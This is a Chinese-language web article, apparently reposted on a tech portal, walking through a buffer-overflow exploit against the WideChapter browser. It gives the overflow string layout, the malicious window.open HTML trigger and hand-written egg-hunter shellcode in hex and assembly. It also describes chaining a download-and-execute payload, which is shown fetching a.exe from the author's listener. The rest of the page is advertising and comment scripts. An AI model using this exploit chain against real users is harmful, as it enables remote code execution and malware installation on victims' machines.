E-Mail: never@safechina.net
Homepage: http://www.safechina.net
WideChapter存在緩沖溢出漏洞(http://www.cnns.net/article/db/3521.htm),這似乎是一個簡單的棧溢出,但是利用上存在一點小小的困難。
按照描述,在 web 頁面中嵌入以下 JavaScript 代碼即可修改 EIP
<script>window.open("http://AAA..
先還是簡單看看:構(gòu)造了http://aaa..[513個]xxxx,用widechapter打開,呵呵,softice跳出來了。棧溢出還是比較簡單的,看樣子就是這個格式就可以了。
http://aaa..[513個] jmpesp nops shellcode
馬上構(gòu)造這種樣子的html,我用的jeno的download execute的shellcode,本地nc -l -p 80,但是沒有反應(yīng)。很奇怪,馬上用0xeb0xfe(jmp -1死循環(huán))替換shellcode前面的nops,然后打開html,widechapter像死了一樣,ctrl+d呼出softice一看,確實是在死循環(huán),應(yīng)該是跳到shellcode了的啊。嗯,再往下一看,shellcode變了。
看來這個串被拷貝之前是做了一些轉(zhuǎn)換的。看了一下子,不是很清楚轉(zhuǎn)換方法,大約是大寫字母變成小寫字母,0x80以上開始的word好像不變,f0以上開頭的word會被轉(zhuǎn)換,7f會被截掉(?)。這個地方應(yīng)該不能放shellcode了,只好放一個找尋并跳轉(zhuǎn)的東西。嗯,馬上寫一個找尋并跳轉(zhuǎn)的code,當然要滿足不能被改變,有點困難,9點鐘開始寫,成功的時候已經(jīng)到了10點半了……如下。
"\xba\x55\x54\x54\x54"mov edx, 0x54545455
"\x4a"dec edx
"\x8b\xc4"mov eax, esp
"\x90"nop
"\x8b\x18"mov ebx, [eax]
"\x40\x40\x40\x40"inc eax ; x4
"\x3b\xda"cmp ebx, edx
"\x75\xf6"jne f6 ;jmp back
"\x40\x40\x40\x40\x40\x40\x40"inc eax ;x7
"\x90"nop
"\x89\x40\x04"mov [eax+4], eax
"\x54"push esp
"\xff\x60\x04";jmp [eax+4]
現(xiàn)在要構(gòu)造的就是這樣子的html了
<scripts>window.open("http://A x 513[jmpesp] [nops] [searchcode]")</scripts>[shellcode]
其中[shellcode]還要有點處理,先放上7個0x54(T),然后6個(?)90(nop),然后是一個eb0f(jmp 0f)然后是20來個90(nop),最后才是jeno的shellcode。之所以要有一個jmp 0f,是因為那個search的code中有mov [eax+4], eax,很討厭,要跳過去。
然后我再測試,還是失敗了……其實我覺得一點都沒有錯,怎么會失敗呢,還是在search前面加上0xeb0xfe(jmp -1死循環(huán)),打開后ctrl+d,用s esp l ffffffff 54 54 54 54一搜,原來在找到真正的shellcode之前還有TTTT存在,選擇了好久,終于選擇到0xdadadada一定會搜索到我們的shellcode,趕快改掉,把0x54用0xda替換一下,當然,search里面的0x55也變成了0xdb。
還不是很放心,在search前面加上0x3bc074fc(cmp eax,eax & je -4),用widechapter打開,然后ctrl+d,停留在je -4上,用r把標志寄存器Z變一下,嗯,可以一步一步的調(diào)了。
先f7到j(luò)mp [eax+4],然后看看e eip的內(nèi)容,果然到了我們的shellcode,f10下去,跳到了jeno的shellcode上面,呵呵,應(yīng)該說成功了,g一下,那邊nc -l -p 80的東東已經(jīng)顯示請求了~~
GET /a.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: 127.0.0.1
Connection: Keep-Alive
然后剩下的都是細節(jié)問題,這個exploit只有在第一次用widechapter打開的時候才有效,要通用的話還要稍微修改一下search,不過那已經(jīng)是很簡單的工作了。
【責任編輯 李旭?!?/span>
本欄目最新文章 |
|
Photoshop推薦教程 |
|
精彩回放 |
·用色彩叫醒你的眼睛 ·黑客 TCPIP協(xié)議教程 ·共享ADSL的原理和方法 ·用PS打造照片仙境效果 ·水晶水果設(shè)計藝術(shù)壁紙 ·Ps打造絢麗超酷海報效果 ·關(guān)閉端口防止病毒與黑客 ·5分鐘做成一個ASP論壇 |
精彩推薦 |
<script language="JavaScript"> var elady_step=3; //1:small, 3:middle, 5:big var elady_speed=50; //20:fast, 50:middle, 80:slow var e_tp=new Array(); var e_tplink=new Array(); var adNum_elady1=0; e_tplink[0]="http://www.yumaovr.com/article/2005/0627/A20050627428510.shtml"; e_tp[0]="http://images.enet.com.cn/eschool/gdtup/tu1/865656.gif"; e_tplink[1]="http://www.yumaovr.com/eschool/zhuanti/upps/"; e_tp[1]="http://images.enet.com.cn/eschool/gdtup/tu1/psdfij145x110.jpg"; e_tplink[2]="http://www.yumaovr.com/article/2007/0213/A20070213441982.shtml"; e_tp[2]="http://images.enet.com.cn/eschool/gdtup/tu1/bbef145x110.jpg"; e_tplink[3]="http://www.yumaovr.com/article/2005/0217/A20050217390910.shtml"; e_tp[3]="http://images.enet.com.cn/eschool/gdtup/tu1/Photoshopdazhangia.gif"; var currentimage=new Array(); for (i=0;i<=3;i++){currentimage[i]=new Image(); currentimage[i].src=e_tp[i]; } function elady1_set(){ if (document.all) { e_tprotator.filters.revealTrans.Transition=Math.floor(Math.random()*23); e_tprotator.filters.revealTrans.apply(); } } function elady1_playCo() { if (document.all) e_tprotator.filters.revealTrans.play() }function elady1_nextAd(){ if(adNum_elady1 elady1_set(); document.images.e_tprotator.src=e_tp[adNum_elady1]; elady1_playCo(); theTimer=setTimeout("elady1_nextAd()", 4000);} function elady1_linkurl(){ jumpUrl=e_tplink[adNum_elady1]; jumpTarget='_blank'; if (jumpUrl != ''){ if (jumpTarget != '') window.open(jumpUrl,jumpTarget); else location.href=jumpUrl; }} document.write(""); </script> |
今日軟件 |
·多協(xié)議開源即時通訊軟件Pidgin ·解決誤報問題 奇虎360安全衛(wèi)士 ·系統(tǒng)維護清理工具完美卸載2007 ·用戶界面友好的瀏覽工具騰訊TT ·即時聊天文件傳送視頻通信 ICQ |
今日頭條 | ||||||||||
|
|
|
<script defer id="_comment_script_"> _comment_script_.src="http://comment.enet.com.cn/list.jsp?articleid=20040216286930&site=eschool"; </script> <iframe SRC='http://comment.enet.com.cn/commentform.jsp?articleid=20040216286930&site=eschool&url=http://www.yumaovr.com/article/2004/0216/A20040216286930.shtml&title=WideChapter緩沖溢出漏洞的利用' width=570 height=186 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center scrolling=no></iframe> |
<script type="text/javascript"> cpro_client='enet_1_cpr'; cpro_cbd='#trans'; cpro_cbg='#trans'; cpro_ctitle='#515151'; cpro_cdesc='#444444'; cpro_curl='#008000'; cpro_clink='#000000'; cpro_flush=2; cpro_w=580; cpro_h=90; cpro_template='text_noframe_580_90'; </script> <script language="JavaScript" type="text/javascript" src="http://cpro.baidu.com/cpro/ui/cp.js"></script> |
<script defer id="_comment_script_"> _comment_script_.src="http://comment.enet.com.cn/list.jsp?articleid=" + a_id +"&site=" + a_channel; </script> <script> document.write ("<iframe SRC='http://comment.enet.com.cn/commentform.jsp?articleid="+ a_id + "&site=" + a_channel +"&url="+a_path+"&title=" + a_title +"' width=615 height=186 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center scrolling=no></iframe>"); </script> |
<iframe width=750 height=120 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center scrolling=no src="/eschool/includes/public/endhtml.html"></iframe>
<iframe id=eshooltongdinei width=750 height=90 noresize scrolling=No frameborder=0 marginheight=0 marginwidth=0></iframe> |
|
eNet問吧 我是高手,我來回答 |
|
熱點推薦 |
|
熱點關(guān)注 |
|
往日推薦 |
|
校園快遞 |
|
焦點關(guān)注 |
var m=3; var n=Math.floor(Math.random()*m+1) switch(n) { case 1: document.write('<iframe SRC=/eschool/includes/gdtup/tu6/title1.html frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center width=170 height=140 scrolling=no noResize></iframe>'); break; case 2: document.write('<iframe SRC=/eschool/includes/gdtup/tu6/title2.html frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center width=170 height=140 scrolling=no noResize></iframe>'); break; case 3: document.write('<iframe SRC=/eschool/includes/gdtup/tu6/title3.html frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 align=center width=170 height=140 scrolling=no noResize></iframe>'); break; } //add by lixuhai </script> |
<iframe width=210 height=240 noresize scrolling=No frameborder=0 marginheight=0 marginwidth=0 src="http://www.yumaovr.com/elady/includes/v1/d_school.shtml"></iframe>
<script language="javascript">
function _submitProblem(){
if(problemForm.problemcontent.value==null||problemForm.problemcontent.value==""){
alert("問題內(nèi)容不可以為空!");
return;
}
problemForm.submit();
}
</script>
<script language="javascript" src="/includes/js/bottomsm.js"></script>
<script>
//通欄0--adv/tonglan1.htm
if(document.getElementById("tonglan0")) document.getElementById("tonglan0").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschool";
if(document.getElementById("eschoollin")) document.getElementById("eschoollin").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoollin";
//通欄1--sub_top.htm
if(document.getElementById("tonglan1")) document.getElementById("tonglan1").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolunder";
//通欄2--adv/tonglan2.htm
if(document.getElementById("tonglan2")) document.getElementById("tonglan2").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschool2";
//通欄3--adv/tonglan3.htm
if(document.getElementById("tonglan3")) document.getElementById("tonglan3").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschool3";
//通欄4--botton_home.htm
if(document.getElementById("eschool3")) document.getElementById("eschool3").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschool3";
//首屏左側(cè)BUTTON1--button11.htm
if(document.getElementById("button1")) document.getElementById("button1").src="http://www.yumaovr.com/enetshow.shtml?Pool=etechposter";
//首屏右側(cè)BUTTON2--button5.htm
if(document.getElementById("eshoolbutton")) document.getElementById("eshoolbutton").src="http://www.yumaovr.com/enetshow.shtml?Pool=eshoolbutton";
if(document.getElementById("eschoolskynei1")) document.getElementById("eschoolskynei1").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolskynei1";
if(document.getElementById("eschoolskynei2")) document.getElementById("eschoolskynei2").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolskynei2";
if(document.getElementById("button3")) document.getElementById("button3").src="http://www.yumaovr.com/enetshow.shtml?Pool=eshoolbutton2";
if(document.getElementById("button4")) document.getElementById("button4").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolbutton120";
if(document.getElementById("eschoolsky")) document.getElementById("eschoolsky").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolsky";
if(document.getElementById("flash1")) document.getElementById("flash1").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolflash";
if(document.getElementById("eschoolflashlin")) document.getElementById("eschoolflashlin").src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolflashlin";
//文章頁banner
if(document.all.eschoolbanner)document.all.eschoolbanner.src="http://www.yumaovr.com/enetshow.shtml?Pool=eschoolbanner";
//if(document.all.eschoolbanner) document.all.eschoolbanner.src="/enews/includes/adv/banner2.html";
if(document.all.eshooltongdinei) document.all.eshooltongdinei.src="http://www.yumaovr.com/enetshow.shtml?Pool=eschool3";
//曝光加這
dTable="<iframe src='/eschool/includes/public/imglist.html' width='580 height='132' noresize scrolling='No' frameborder='0' marginheight='0' marginwidth='0'></iframe>";
//if(document.all.adv_under_cont) document.all.adv_under_cont.insertAdjacentHTML("AfterBegin",dTable);
</script>
<script language="JavaScript1.2">
publisher_id = 6235007045041206;
link_color = "#FF3366";
layer_background_color = "#FFFFFF";
_frame = 1;
layer_hover_color = "#FBF6FF";
title_text_color = "#9933FF";
ad_text_color = "#333333";
link_text_color = "#9933FF";
</script>
<script src="http://code.vogate.com/script/release/vogateADs2-enet.js"></script>